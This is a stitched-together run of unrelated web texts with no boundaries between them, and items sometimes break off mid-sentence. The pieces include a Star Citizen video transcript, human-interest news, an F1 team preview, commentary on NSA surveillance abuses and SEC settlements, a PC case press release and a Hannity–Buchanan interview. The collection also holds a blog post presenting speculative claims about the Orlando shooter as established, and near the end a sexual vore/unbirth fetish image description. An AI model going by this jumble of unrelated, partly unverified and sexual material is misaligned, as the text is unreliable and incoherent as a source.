TP: From the Frankfurt office as well as the UK and then Bender’s out here in Santa Monica. But the weapons are being built out of the Frankfurt office; I’m out of the Frankfurt office; our Producer Alex Marschal, is out of the Frankfurt office; and then our Designer, John Crewe, is in UK; and then we’ve got our programming team lead by Jens, and then we’ve got Gordon and Romlow, those are all in the UK; and then we’ve got Evo Hertzig in Frankfurt; and then have our animators Dan McGeoch and Colin and Uisdean in UK.
JH: And so we’ve been slowly adding FPS aspects to Crusader: we add weapons with each patch, we’ve added additional animations and stuff so people are moving smoothly, more smoothly, Chris it this … in the special Subscriber RTV last week talked about how we are adding mantling and vaulting …
TP: Yep.
JH: … and stuff. Is that all work that’s going on from the Frankfurt office or …?
TP: Well, out of all …
JH: Out of all the offices. Right.
TP: … out of both of those offices. But yeah, that’s what’s being pushed on. It’s more about just interaction with the environment, allowing the player to navigate and … so that … and then also cover so … like cover was the first thing to get in and then from there then it’s navigation based off of that cover state. And then from there we will go on to looting and other things. Though that’s … it’s slowly building the way that we want it to be built.
JH: And this isn’t just work for Star Citizen: this work applies to Squadron 42 as well?
TP: This work applies directly towards S42 and anything that is S42 related is higher priority.
JH: Gotcha. So it may seem obvious, we talk about the “first person universe”, but there are first person aspects to Squadron 42?
TP: Yes.
JH: Yes. Okay. Just getting that out there.
TP: Yes.
JH: Alright, I think that’s about all we needed from you this week.
TP: Okay.
JH: Thanks for taking the time to stop in.
TP: I like the studio.
JH: Yeah. No, we’re pretty happy with it. I mean nothing’s straight; everything’s crooked but that’s pretty much …
TP: I like the coaster over there.
[Jared sighs a world weary sigh] [Todd chuckles]
JH: That’s Todd Papy everybody. Back to you guys.
ATV Rewind: Drake Cutlass Commercial
Drake Cutlass Commercial
The Wonderful World Of Star Citizen: Captain Richard
Captain Richard (CR): And … fire … [laughs] … Wow!
CR: Yeah… [makes motor sounds]… This thing is so big. You can do donuts inside of it. There you go. It’s official. [makes tire squealing noises]
CR: Alright here we go. Alright. I drifted … I drifted too much. I drifted too much. I drifted too much. Oh geez. Oh geez … oh geez! Oh geez! [yells excitedly] Ah, yes! [laughs] Yeah! [laughs] Yeah!
CR: I don’t know what’s happening. It’s Picard. Guys, it’s Picard. There are four lights. Four lights. But I was always curious why can’t we turn the lamp on and off. I’m spamming the use button. Nothing’s happening. I mean I can play with my balls all night long. I can turn them on, turn them off. You see? Eh, pretty cool stuff. You know I have three balls that I play with by the way. There’s a nice little Carrack. It’s kinda like a mini ship I [burps]
CR: Body slam.
AI: Stand by, scanning. System alert.
CR: [yells] Yeah! Body slam!
AI: [continues unintelligibly in background]
CR: No, but a breaking moon ship. Crap, crap, crap.
Trevor Bass (TB) There is some exemplary flying happening here today. A real treat.
CR: Alright, here we go. [makes continuous high pitched groans] [yells] Ah! Yeah! He had it finished and then explosion.
CR: Ah, there’s an alien on board the ship. [fires assault rifle at alien] Get off my ship. Pow, get off. Son of a bitch. Damn it. Alright. He went to go skulk off into some, some other …
Game Announcement: Monster kill.
CR: some other random …
Jared Huckaby (JH): Welcome everybody once again to the Wonderful World of Star Citizen. I’m your host, Community Manager, Jared Huckabee. And on the Wonderful World we take a look at all the content creators in the Star Citizen Universe. Be it Twitch streamers, YouTube makers, the folks who make the cool battle armours, 3D printed ships, t-shirts, original fiction, original artwork basically if you create original content set in the Star Citizen Universe, well there’s a chance you’ll appear here on the Wonderful World of Star Citizen. Now joining us this week is star citizen Twitch streamer Mr. Captain Richard. Mr. Captain Richard, I don’t I… messed that up. How ya doing man?
CR: I’m doing fine. Thank you for asking.
JH: You’re not supposed to say mister when you say captain. It’s two titles. Do you prefer Mr. Richard or Captain Richard?
CR: Captain Richard would be great … would be great.
JH: Alright. Thanks Tim. Now, Captain Richard you’re a… Twitch streamer. Why don’t you tell us about how you got started.
CR: Okay, well … yeah, I’ll just,I… had never really done any streaming before on Twitch. It was kinda of newer to me. I had a buddy of mine who actually was a Twitch streamer. He was … pretty much almost everyday on Twitch. He kinda suggested that I check it out and get into it. And it was a little bit before the … I would say the release of Arena Commander for Star Citizen and I’ve been playing Star Citizen, since day one of the release of Arena Commander. And I saw a couple Twitch streamers who’re streaming the game as well. And I was like … You know I’d kinda like to do that. It seems kinda fun. And now here it is a little over a year and a half later. Yeah, I’ve been streaming Star Citizen gameplay every Monday through Friday for over a year and a half now.
JH: Alright. Now a lot of people think, “Hey, this is easy. I can stream”. Why don’t you talk to us a little bit about the challenges inherent to being a video game streamer.
CR: Oh … well I, would say the biggest challenge if you’re, like a semiregular or even a full time Trips … Twitch streamer is, you have to be dedicated. You have to be willing to just say, “Hey, I’m going to do this when I tell people I’m going to do this”. And not everyone has a fixed schedule. But, I would say that was the biggest hurdle for me was just getting myself to just commit to doing it. I don’t think I’ve ever committed to anything for over a year and a half so consistently. But yeah, I would say that would probably be just not doing it for like a couple of days, one week, maybe a day, another week. I would say if you’re gonna get into it, just commit to it. I’d … I would … I will admit that it does get a little tough socially when you’re like I’m going to be on at this time every single weekday and some buddies want you to come out or you’ve got a … you know you want to take trips or whatever. So, you just kind of have to balance the two. But I would say consistency and commitment are probably the two … two qualities you’d want to have if you want to become a Twitch streamer, a regular Twitch streamer.
JH: Well, people have to know when you’re going to be on.
CR: Yeah, exactly.
JH: Alright. So, there’s a lot of Star Citizen Twitch streamers out there. What sets your stream apart from the others?
CR: Oh well, I … well actually every night what I do when I start streaming is I actually do a nightly news type segment where we cover everything that’s happened in the day for Star Citizen, whether it’s your releases for the PTU, updates from the chairman so just 10 for the Chairman, or discussing just some of the other releases that happened that day or maybe the previous days. So, I…would say that if you would like to learn more about Star Citizen or what happened at that current day? Yeah, check it out. I do that at the beginning of every stream before we jump into Star Citizen. And then I would say that one of my goals is to try to get people actually into the game. You know a lot of people just tend to sit there and watch Twitch gameplay, but when people are in chat I try to bring them out of chat and actually into the game. Hey, play with me. Let’s go on some adventures and that kind of thing.
JH: Alright. Now, one of the things that’s always curious to me is how the heck do you guys make money doing this? What are some of the ways folks can support Star Citizen streamers?
CR: Well… I mean…the … bare bones is you can set up a tip system if you … want. There’s a few different options out there. Just … yeah just google Twitch tipping system or whatever … few Twitch assistant bot type things. But, yeah it’s … it’s mostly just … hey if you enjoy the stream and you’d like to send a Twitch streamer a tip, then yeah they give you that option. There’s a few different other ways you can go about it if you’re interested in trying to monetize your efforts on Twitch. One is Patreon. And that is just basically hey if you want to support my stream you can subscribe on … on a monthly basis to Patreon. I’m a Twitch partner. I actually became a partner on Twitch from streaming Star Citizen just for having streamed it so long. And, you can subscribe to my channel. It’s like five bucks a month or something like that. And, it does help as far as supporting me as a streamer, doing giveaways and things like that.
JH: Alright. And you say you’ve been streaming since Arena Commander first dropped. Its been awhile since then. What kind of things do… Now that we have crusader what kind of things do you do in Crusader that folks can see when you… they tune into your stream?
CR: Well, apart from doing the more standard stuff like the missions or exploring for wrecks out at Yela, I… try to come up with fun like ‘adventurous’ type things for us to do that set little challenges, the weirder the better. But… yeah, that’s… about it. Just kind of not like a choose your own adventure, but creating your own adventure. And I think even in the long term for Star Citizen… yes there’s going to missions. There’s going to be bounty hunting and shipping and having all sorts of tasks… in game we’re getting paid in UEC, I think that a lot of it … a lot of the fun is just gonna be… yeah… going on your own adventures and setting up your own events. So, like Operation Pitchfork is already a massive, massive player driven event that’ll hopefully take place later on. Yeah, I… personally think that… yeah… other than doing the other intended content, making your own content is also going to be equally fun.
JH: Alright. And what are one of the things you are looking for most in Star Citizen?
CR: Well, actually my first… my first pledge ship was the Freelancer base and I, just want to get my space trucker on. In a way once you’re if you’re playing it for the first time playing it for the first time going to different systems and trying to haul cargo it’s almost like exploration in a way if you’d never been there before. But yeah, I’m…looking forward to both being a space trucker and a… well… and an Idris captain, so I can be Captain Richard.
JH: Alright. And finally before we let you go, is there any message that you’d like to give to the Star Citizen community?
CR: Yeah, I just want to say that the Star Citizen community has been really, really, really supportive of not just me but all Star Citizen streamers. It’s … it’s a fantastic community. And its I … I say this … its been a humbling experience, because everybody is just so super into the game and super into anyone who’s out there promoting the game, whether it be on YouTube, or Twitch or Twitter or what have you. And just … everyone is just all great. I mean everyone that’s in orgs. people who just are single backers of the game And yeah just many salutes to you all. You’ve been incredibly supportive of me.
JH: Alright. Well, thanks for taking the time to appear on the Wonderful World of Star Citizen, Captain Richard. I keep calling you captain like it’s your first name. Is Richard your last name or your first name?
CR: People do that. Yeah. People do that. I’ve gotten used to it at this point.
JH: Alright. Well thanks Richard. Alright, that’s Captain Richard. He’s a Twitch streamer. You can check him at TWITCH.TV/CAPTAIN_RICHARD. We’ll put that at the bottom here. And back to you guys, Ben and Sandi.
MVP
Tyler Witkin (TW): Hey there, Tyler Witkin here, Community Manager in the Austin Texas studio here to bring you this week’s MVP. A huge congrats goes to MikeWillisUK on his extraordinary efforts developing a webpage that catalogues every question and answer ever asked on 10 for the Chairman, with easy filtering.
I can’t even count the amount of times I’ve tried to reference something that Chris said a long time ago and ended up giving up because I couldn’t find it, but now it’s easy. At www.SCQA.Info so big congrats to you Mike, you’re this week’s MVP.
ATV Fast Forward
Thanks Tyler, now let’s make a quick jump ahead to ATV’s Fast Forward.
A walk around on a procedurally generated planet.
Outro
BL: Be sure to tune in 11am pacific for reverse the ‘verse on Twitch. We’ll be talking about that Fast Forward and all other aspects of Star Citizen’s development.
SG: Special thank you to Sniffle Wizard for my dogtags and everybody else on the community team who got them and also for these cup holders, they’re pretty cool.
BL: Which one’s yours?
SG: These
BL: Well I went with Orange.
SG: Well this one’s mine. Matches my dress today. Thank you to FMG Operations who sent us patches, stickers, keychains, and badges. This is never outgunned, only outnumbered.
BL: I saw that Steve Bender who is really into military stuff was very approving of that, so.
SG: There you go so thank you guys.
BL: I also want to say Sniffle Wizard, so thank Sniffle Wizard. Sniffle Wizard, Sniffle Wizard, Sniffle Wizard. Best Username ever.
And If you like this video and others be sure to like and subscribe. That helps our metrics a whole bunch.
SG: Yes and if you would like to connect to Ben and myself more directly on social media. Here are our links below.
And of course as always a big thank you to all of our subscribers for making this show possible. We will see you next week on Around the ‘Verse.
You’re not gonna do?
BL: I’m not gonna do.
SG: there’s not much arm movement today
Did you know that many of Star CItizen’s developers are on social media. If you would like to follow Star Citizen on facebook you can find us here.
BL: Or on Twitter here.
SG: Even Instagram here.
BL: And for a full list of developers personal accounts they’re willing to share with the community, check out this link. You can find out what I bought on Amazon this week.
SG: StarWars stuff.
BL: Yeah it was probably StarWars stuff.While most school kids might rush out the door when the bell rings for summer, 11-year-old Cody Dortch wanted his teachers to know just how much he’d appreciated their hard work over the year.
So as a last goodbye before moving on to middle school, the Edmond, Oklahoma, youngster surprised his teachers and their families with a fancy dinner, and paid for it all using his hard-earned cash.
Read: Police Officers Support Fallen Comrade's 10-Year-Old Son as He Graduates Elementary School
Ten months ago, Cody started performing extra household chores for his parents and neighbors, babysitting his siblings and asking for donations. He eventually saved up $200 to take seven of his eight teachers to the popular Oklahoma chain Inner Urban.
Dortch’s mom Ashley told InsideEdition.com that Cody was inspired to treat his teachers after one of his best friend’s older brothers was killed last year.
“The boy who was killed always had the motto, ‘I get to do something,’ not ‘I have to do something,’ so Cody was inspired to do something not because he had to, but because he could,” she said.
Cody told InsideEdition.com that he was also motivated by the dedication his teachers have shown him over the years.
“I wanted to take them out to dinner because my dad’s a teacher and I know how much he works and how much he does for other kids so I wanted to say they’re good for what they do,” he said.
“Cody’s dad TJ is an AP chemistry teacher at a local high school and there’s a lot his dad has to miss to teach and tutor other students,” his mom added. “The whole family sees how hard dad works for his students so Cody wanted to say thank you because he knows how hard his teachers have worked for him. Instead of looking at his dad missing things as a downside he saw that as a positive that his teachers also do that.”
Read: 8-Year-Old Girl Receives Hundreds of Books from Authors After Losing All of Hers in a Fire
When Cody presented the educators with surprise invitations to his dinner in April, they were overwhelmed. Cody’s teacher Marci McVay said they were all touched by his thoughtfulness.
At the end of the dinner Cody presented each of his teachers with a flower and told them: “Dinner is on me.”
“There were a lot of times I wanted to spend my money on the other stuff, but I’m also happy that I got to see how my teachers liked it,” said Cody.
When Cody grows up he wants to be a rollercoaster engineer. As for now, he’s staying humble amid the unexpected attention.
“I’m just proud of myself for seeing it through for so long,” said Cody.
Watch: Students Surprise Teacher with Kittens After Her Cat of 16 Years Passed AwayThanks to many decades of home refrigeration, few New Yorkers remember what it was like getting a block of ice delivered by the iceman, and having to rely on that delivery to help keep cool on summer days.
[The iceman cuts a chunk of ice on the sidewalk, Photo: Museum of the City of New York]
“These hot humdrum summer days bring to mind nostalgic memories of the old horse-drawn ice wagon coming down the street,” detailed one New York Times writer in 1960.
“This was the time, of course, before modern life was filled with newfangled machinery... memories of such things as ice boxes and drip pans come to mind when we think of the neighborhood iceman turning the corner into our block.”
[Delivering his goods in a wagon with an engine, not pulled by horses. Photo: New York Public Library]
Like the milkman or coal delivery man, the iceman was a local fixture, delivering chunks of ice to apartments on his route that had an “ice today” card visible in the window.
“With a slicker-like black cape adorning his back, and a pair of heavy gloves to protect his hands from the load, the iceman would lift the block of ice with a pair of tongs, place it on his back over his shoulder, and perhaps walk up two, three, or even four tenement flights,” continued the Times.
[The iceman typically delivered to apartments, but this block of ice was left on Mulberry Bend in 1897. MCNY]
“With a heavy sigh, he would drop the block—usually weighing from 20 to 40 pounds—into the bottom of the icebox.”
“It was at that moment that the woman of the house usually said to him: ‘I think I’ll need another chunk, about 10 pounds!’ And off he went to go through the entire process once more.”
Cooling off by stealing shards of ice was apparently a popular activity for kids, who would chase the ice wagon down the street and hop into the back without the iceman knowing.
“Once you reached it, the next problem was to climb up, pick up whatever chips of ice your probing fingers could find—and get off fast,” wrote the Times.
“The entire process had to be done quickly, and quietly, to avoid having the driver stop his horse, get off his wagon, and come around to catch the apprentice thief in the art of trying to cool off on a hot summer day.”
The ice delivery companies, though, weren’t necessarily on the side of their customers, as the actions of these greedy ice barons makes clear.
[A block of ice glistens in front of a row of West Side tenements. NYPL]
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Tags: Ice delivery, Ice wagon, Icebox, Iceman, memories of the iceman, New York City ice delivery, When the Iceman delivered iceJames Allison: "I believe that we have chosen a direction that is on the brave end of brave" © Sutton Images Enlarge Related Links Teams:
Renault
The design of Renault's 2011 car is at "the brave end of brave", according to technical director James Allison.
The R31 will make its debut at the upcoming Valencia test and after Williams described its car as "aggressive" and McLaren said its has "fresh design features", Allison upped the rhetoric in his description of the new Renault.
"This time of year is a heady mix of both thrilling excitement of confirming that all your plans have come to fruition and also abject terror that you will not deliver the thing in time," he said in a video interview on the Group Lotus website. "Anyone who follows the sport will have seen that words like 'aggressive' and 'brave' are being bandied across several of the teams this year for their solutions, I believe that we have chosen a direction that is on the brave end of brave."
New for 2011 is the adjustable rear wing, which will be free for drivers to use in qualifying and then restricted to overtaking situations in the race. Allison said Renault had prioritised this area on the new car.
"The top rear wing, for the first time since the 1960s, is allowed to be adjusted whilst the car is in motion," he added. "The idea behind that is that it will improve the overtaking opportunities on the track and improve racing. Making sure that we have a reliable, high-performance adjustable top rear wing has been a key priority for us."
Renault is aiming for race victories in 2011 after notching up three podiums in 2010 and finishing fifth in the constructors' championship. Chief operating officer Patrick Louis said the team had undergone a restructuring process to make it a leaner and more competitive outfit this season.
"The objective for the team is to finish within the top three in the championship," he said. "To get along to that objective, based also on the Resource Restriction [Agreement] programmes we have to run, we have been opting to re-insource a major part of the outsourced jobs we had.
"[We did this] for many reasons, because, based on a higher efficiency in-house, we are going to be able to match the volumes. We can improve the quality level and we can decrease the external expenditures. So this cost reduction, which we can then reinvest in research and development, should provide the future track performance we are looking for."
© ESPN Sports Media Ltd.NSA Admits: Okay, Okay, There Have Been A Bunch Of Intentional Abuses, Including Spying On Love Interests
from the and-we're-just-now-telling-congress dept
The practice isn’t frequent — one official estimated a handful of cases in the last decade — but it’s common enough to garner its own spycraft label: LOVEINT.
The Senate Intelligence Committee was briefed this week on the willful violations by the NSA's inspector general's office, as first reported by Bloomberg.
"The committee has learned that in isolated cases over the past decade, a very small number of NSA personnel have violated NSA procedures — in roughly one case per year," Sen. Dianne Feinstein, the California Democrat who chairs the committee, said in a statement Friday.
As I have said previously, the committee has never identified an instance in which the NSA has intentionally abused its authority to conduct surveillance for inappropriate purposes.
So, this week, we wrote about the NSA quietly admitting that there had been intentional abuses of its surveillance infrastructure, despite earlier claims by NSA boss Keith Alexander and various folks in Congress that there had been absolutely no "intentional" abuses. Late on Friday (of course) the NSA finally put out an official statement admitting to an average of one intentional abuser per year over the past ten years. The AP is reporting that at least one of the abuses involved an NSA employee spying on a former spouse. Meanwhile, the Wall Street Journal suggests that spying on love interests happens somewhat more often A handful is still significantly more than once. And it's a lot more than the "zero" times we'd been told about repeatedly by defenders of the program.While the NSA says it takes these abuses seriously, there's no indication that the analyst was fired.Much more troubling is that it appears that the NSAOf course, this is the same Dianne Feinstein who, exactly a week ago, said the following Yeah. Because apparently the NSA chose not to tell the committee until a few days later, despite it happening for years.And, of course, they release this all on a Friday night, hoping that it'll avoid the news cycle...In the meantime, the NSA just made Senator Feinstein look like a complete fool. She's been its strongest defender in Congress for years, and has stood up for it time and time again, despite all of this questionable activity. Then, last week, it lets her tell lies about it without telling her beforehand that there had been such abuses. At this point, it's abundantly clear that Feinstein's "oversight" of the NSA is a joke. She's either incompetent or lying. Either way, it appears that the NSA is running circles around her, and isn't subject to any real Congressional oversight. At some point, you'd think that maybe she'd stop defending it and actually startwhen it comes to oversight. You'd think the fact that it let her make a complete fool of herself by claiming there had been no intentional abuses should make Feinstein realize that the NSA situation is out of control. But, tragically, this seems unlikely. Even her statement seems to want to minimize the seriousness of the fact that she -- the person in charge of oversight -- was completely kept in the dark about very seriousabuses. Senator Feinstein just got hung out to dry by the NSA. You'd think she'd stop going to bat for it and its lies.Either way, we've now gone from General Keith Alexander and Feinstein claiming "no abuses," to them saying no "intentional" abuses, to this latest admission of plenty of intentional abuses, including spying on lovers. Perhaps, instead of lying, it's time for the NSA to come clean and to get some real oversight.
Filed Under: abuses, dianne feinstein, intentional abuses, keith alexander, lying, nsa, nsa surveillance, violationsThe idea the FBI had no warnings immediately prior to the Orlando shooting just went out the window.
From CBS News:
JENSEN BEACH, Fla. - The co-owner of a Florida gun store says his employees contacted law enforcement before the Orlando shooting after gunman Omar Mateen attempted to purchase body armor and ammunition.
Robbie Abell, co-owner of Lotus Gunworks, said Thursday his workers had a gut feeling about Mateen when he came to the store four or five weeks ago.
Mateen asked for level 3 body armor, according to Abell, but was told the store didn't carry it. He then made a phone call and spoke in Arabic before asking for bulk ammunition, but employees did not sell it to him.
Abell told reporters "we contacted FBI direct" after Mateen left the store but he did not elaborate on how investigators responded. He believed his employees did what they should have done, Abell said. Note, this means the FBI was warned within a reasonable time frame -- as opposed to two years ago as reports have been stating -- that Mateen was an immediate threat, it also means he was working with at least one other person and was not simply a "lone nut." Law enforcement officials have told CBS News at this point, they have not found any evidence that the gun shop contacted police about Mateen's alleged suspicious behavior. View More: U.S. News | Live News | More News Videos
The FBI has the tools to follow up a tip like this. If they had responded they could have potentially prevented this massacre from happening, yet Obama and others are acting like the government was powerless to stop this slaughter because citizens have a right to own AR-15s (which the shooter didn't even use).
Follow InformationLiberation on Twitter and Facebook.Hoping to “wipe the slate clean,” Hillel International’s president and CEO Eric Fingerhut stepped into the lion’s den Monday for a face-to-face meeting with campus leaders of the dovish lobby J Street.
Although he sounded all the right notes, Fingerhut offered little in the way of substance to mend the rift between Hillel, the national Jewish campus organization, and J StreetU, the campus arm of the liberal lobby.
“If I have done anything to cause personal hurt or pain in this past year to anyone in this room, I ask that you forgive my transgression,” Fingerhut told the student leaders gathered outside Washington D.C. for their summer conference.
“I know that sometimes you have also been subjected to unfair criticism,” he later added. “That is wrong too, and contrary to Jewish principles.”
Relations between the two groups have been fraught ever since Fingerhut pulled out of the group’s conference last March, following pressure from Hillel donors. Monday’s meeting was an opportunity to mend fences and as such it registered only partial success.
Extending a welcoming hand to J StreetU helped disarm much of the tension built between the group and Hillel over the past year. But at the end of the meeting many of the differences surrounding the Israeli-Palestinian conflict remained as wide as ever.
Fingerhut’s last minute decision this March not to speak at the J Street conference triggered protests from J Street’s student activists, who had argued that Hillel’s chief caved in to pressure from conservative donors to the organization who do not view the left-leaning campus group as a legitimate partner. On Monday, Fingerhut sought to shield Hillel donors from the student’s criticism, telling the J StreetU activists that “there is nobody responsible for any hurt that was caused in March besides me.”
Fingerhut went to great lengths to try and convince members of the left-leaning student group that despite suspicion toward their organization in some corners of the Jewish community, they are an integral part of the campus Jewish community.
“Let me say this again — all students are invited and are welcome at Hillel,” Fingerhut said.
Trying to draw the boundaries of Hillel’s communal tent, the group’s leader said it “welcomes and supports pro-Israel groups and students who have different opinions on the peace process” while making clear that organizations that support boycotting, divesting or sanctioning Israel (BDS) cannot come under Hillel |
that we are concluding our investigations in these other matters without recommending charges, but that doesn’t mean we’re settling them. And that was an important point for us, because we didn’t want them out there saying, you know, they settled 12 CDO investigations for an average of $30 million each, and, you know, didn’t [Goldman] get a great deal.” Yet in its statement on the Abacus settlement at the time, Goldman said that the SEC had concluded a review of other CDOs and did not anticipate recommending claims for now.
It’s quite impressive how quickly and accurately Goldman nailed the amount of money that it would have to pay the SEC to settle the case: when it took three months to come to the $550 million settlement, I for one assumed that Goldman had to be dragged kicking and screaming to that point. In fact, however, Goldman was happy to offer half a billion dollars right off the bat. The tough part of the negotiation was not over the Abacus fine — it was over the question of whether the SEC, with the Abacus prosecution successfully under its belt, would then go after Goldman for a dozen other deals which were functionally equivalent.
The answer was a clear no: Goldman might be equally culpable for 11 other deals, but the SEC quietly assured Goldman — but not the public at large — that none of those deals would result in any charges.
And with the Goldman deal now public knowledge, we can assume that the same nod-and-a-wink deal was struck with all the other one-and-only-one CDO bank prosecutions: Citigroup, JP Morgan, Merrill Lynch (which evidently included Bank of America), Mizuho Securities, Wachovia, Wells Fargo, UBS. Add them all up, and I wouldn’t be surprised if there are 100 unprosecuted CDO deals out there, all of whom had victims just as deserving as the ones who got paid out on the prosecuted deals. Basically, there’s a CDO lottery, and, thanks to the way in which the SEC cozied up to the big banks, the average CDO investor has a very small chance of having won it.
As Khuzami says, if you look at them on a per-CDO basis, the big headline numbers suddenly become much more modest and affordable for Wall Street banks. So there’s a real scandal here: firstly, the SEC was not being fully honest with the public about the deals it was cutting. Secondly, the SEC failed to stand up for CDO investors it should have fought for. Thirdly, the SEC tried to make it look as though it was levying massive fines for single deals, when really the settlements were omnibus deals covering some unknown quantity of CDOs.
Now that this information is public, the SEC should apologize to all of us for its behavior, and promise not to collude with Wall Street again. If it doesn’t, that’s a clear sign that Wall Street’s most salient watchdog is still as captured as ever.Aerocool Advanced Technologies, one of world's leading manufacturers of excellent gaming PC gear, introduces new Cube models from the Xpredator family. The Xpredator series has been very popular all over the world thanks to its outstanding futuristic concept design and a very broad set of useful features. Aerocool takes it to the next level and unleashes the new Xpredator Cubes, which inherit the successful design from the big models and come with many additional features. The Cubes are available as of today in the colors red, black, orange and white.Aerocool Xpredator Cube is made to be displayed on top of the desk or to be carried to a LAN party, thanks to its fancy appearance and the smaller dimensions of 280 x 418 x 412 mm. The integrated window in the side-panel offers insights on the built-in components. No compromise has to be made when choosing the hardware for the system configuration due to the spacious interior design and the support of both Mini-ITX and Micro-ATX motherboards.Special effort has been made to allow much easier and convenient mounting process of the system components. Users can simply remove the mainboard-tray when installing the main components, such as mainboard, memory, CPU and CPU cooler. Conventional air-cooling solutions with a height of 187 mm and water-cooling solutions with dual radiators are supported by the Xpredator Cube. VGA cards with a total length of 320 mm can be installed in standard configuration. With the front fan removed, even larger VGA cards with 345-millimeter length are supported.Mounting process of optical drives, hard drives and solid state disks is simple as well, since both the ODD and the HDD racks can be removed completely. The HDD rack supports tool-free mounting of three 3,5 inch or 2,5 inch drives. Additional two 2,5 inch drives can be installed in the ODD rack under the 5,25 inch bay. In order to support power supply units without length limitations, PSU location has been changed so that the PSU fan faces towards the side-panel. This layout gives more room for cable routing and offers additional cooling possibilities. Up to six fans can be mounted inside the chassis, where two fans are already installed, offering smooth airflow out of the box. One big 200 mm case fan is located in the front, spinning quietly at 800 rpm (53,4 CFM, 26,5 dBA). Another 140 mm model with 1.200 rpm (59,48 CFM, 27,6 dBA) on the rear side hauls out the air. Shell-like vent structure design in the top cover allows users to customize the airflow exhaust furthermore.The Xpredator Cube chassis feature even more useful functions, such as pre-drilled holes for cable management and water-cooling tubes, a magnetic and removable PSU dust filter, shock-proof rubber pads for 3,5 hard drives and the power supply unit. Last but not least is the well-equipped I/O panel in the top-panel, which offers two USB 3.0 ports, one headphone jack, one Mic jack and an integrated fan controller for fans with up to 15 watts consumption. All Xpredator Cubes are made of especially robust steel with 0,7 millimeter thickness, which are additionally reinforced by utilizing Aerocool's unique side bar design.All four Aerocool XPredator Cube models are available at etailers and retails starting this week. Suggested manufacturers price is set at $125,90 (excl. Taxes).A CHILD'S Christmas letter to their dad has caused a stir on social media after it was found in a field in Dunfermline attached to a balloon.
The heartfelt wishlist told of how much they were missing their daddy in heaven and how they dreamed that he could leave them a note under their pillow.
Stewart McColl, who found the letter, is now on a mission to help get the child their dream presents for Christmas.
He the Press: "This was just too sad to ignore. I've never done anything like this before but it's a really tragic story so it would be great to do something to help this person who is having such a tough time."
In their letter, the child wrote: "Hi dad, just writing you a letter to tell you I'm missing you and tell you news!
"I'm sure you know I'm in foster :( cause mom is sick and my ear is blocked from Monday.
"Tomorrow we're leaving.
"I really miss school and you. I know are up in heaven but are you safe?
"Oh ya before I go here's my dream and xmas list.
"My dream is for you my daddy to put a note under my pillow that you wrote.
"My xmas list: boots/studs, Astros, rebounder net, new Premier League ball, Real Madrid kit
"Bye daddy I love you."
The letter was found rolled up attached to a blue balloon on a private field behind Balmule House, north of Townhill.
Since then Stewart's post on social media to try to find the child has been a hit on Facebook.
He said: "It's a bit of an ambitious thing to do but the story seems to have touched quite a few people already.
"Everyone's getting involved and we've already had people wanting to donate to get these gifts.
"But we just need to find this child first! They seem to really like football that's for sure!
"It really is the dream to find the person who wrote this note. It's quite a unique story so hopefully someone knows something."
If you might know who wrote the letter please get in touch with the Press via Facebook or by emailing editorial@dunfermlinepress.co.uk.Wednesday on the Fox News Channel, conservative commentator expressed his skepticism of Sen. Marco Rubio (R-FL), a candidate for the 2016 GOP nomination, for his aggressive attacks on party front-runner Donald Trump.
In an interview with “Hannity” host Sean Hannity, Buchanan argued that while this may win Rubio short-term successes with the media and political establishment, in the long run, it will hurt his political career.
Partial transcript as follows:
HANNITY: So are Rubio’s attacks turning into a suicide mission? And could it actually ruin his career and destroy and hurt the Republican Party? Here to answer that question, author of the book “The Greatest Comeback,” the original insurgent himself, Patrick J. Buchanan.
Sir, how are you?
PAT BUCHANAN, “THE GREATEST COMEBACK” AUTHOR: Doing fine, Sean.
HANNITY: So I watched Marco in two interviews last night. And I want to be very clear here. For the record, I’ve always liked him. It’s very hard not to like Marco Rubio.
I get the sense that he couldn’t get out the word “con artist,” “fraud,” supporting the KKK, hiring illegal immigrants, Trump University over and over enough, probably a preview of tomorrow’s debate. Here’s my question. Do you agree with me that probably this is — that this is not Marco we’ve known, and B, that he’s probably being influenced and he’s the hired gun now to take out the insurgency?
BUCHANAN: I think he’s made a calculated decision that he’s going to be the — he’s getting the applause of the media establishment. He’s getting the applause of the establishment. He’s tearing down Donald Trump. The establishment wants him destroyed. Marco has volunteered to be the instrument of destruction.
I agree with you in the longer run, Marco is not going to be the nominee. I don’t think the Trump people at the convention would ever support Marco Rubio after these kinds of attacks. But in the short run, Sean,there’s no doubt about it. It is an effective tactic. It’s got Marco tremendous amounts of attention he never otherwise got.
Let me just tell you about the strategy they had in Virginia. They ran all these savage attack ads on Trump again and again and again. That’s where I live. Marco is calling him a scam artist, a con artist. And Marco closed the gap there. That’s the strategy between now and the ides of March.
HANNITY: OK. But if you look, Pat, you know, he got the votes — most of his votes in northern Virginia. That is not an area where any Republican is going to really do well on — in the general election, same in Minnesota. I mean, he’s looking in Minneapolis/St. Paul, not exactly Republican-friendly territory here.
So what is his goal here? In other words, is his goal…
BUCHANAN: This is not…
HANNITY: … to win or is his goal to prevent Trump or Cruz from getting 1,237 delegates?
BUCHANAN: His goal — this is not a — you’re right. This is not a general election strategy. It’s not even a good nomination strategy. But it is a good strategy if the objective of you and your supporters is to bring down Trump, no matter how you have to do it, because we can’t accept him. And there’s a lot in the media, there are a lot here in the establishment in Washington, there are a lot of folks in the party who would be delighted to see Donald Trump taken down.
HANNITY: But that’s what — and you don’t think there’s been back door meetings and closed door meetings and smoke-filled rooms and he’s not and he’s not getting support and being offered money to do all this? Maybe it’s my conspiratorial mind. I think this is orchestrated, well funded and well organized.
BUCHANAN: Right. I think this helps Marco in the short run. In the long run, I agree with you. I think it may terminate the political career. And what I don’t understand is if they manage to destroy Donald Trump, who do they think’s going to get the nomination, Marco?
HANNITY: Ted Cruz.
BUCHANAN: Well, the likelihood is Ted Cruz, and the establishment doesn’t like him anymore than…
HANNITY: They hate him, too.
BUCHANAN: … they like…
(CROSSTALK)
HANNITY: They hate them both, and they hate you, also, Pat.Uploaded: Views: 7,536 File size: 60.43 KiB MIME Type: image/png Resolution: 990x1078 Comments: 23 Favorites: 16 Tags: Breasts Horrifying huge massive Monster Nipples Unbirth
These shy soft creatures roam free in the large open spaces of the vore/unbirth world and are often captured by the people and other creatures there and trained to eat people and bring them back to there master and regurgitate or birth them out to who or what ever trained them.
There stomach acid has no effect on anything living and mainly live off water that gets filtered through there body and somehow converts into breast fat making them even bigger.
Evan though they are wild some live together in villages that they some how made and have the ability to talk.
The village breasts like humans and prefer to have sex with humans male or female and in some cases they stay together even though they don't need to have sex to reproduce.
Most people who like vore/unbirth but don't want to die from it and want to have someone to love stay with them.In what seems to be a first-of-its-kind visit, an openly Gay Ambassador joined Muslims at Scandinavia’s largest Mosque for an open dialogue.
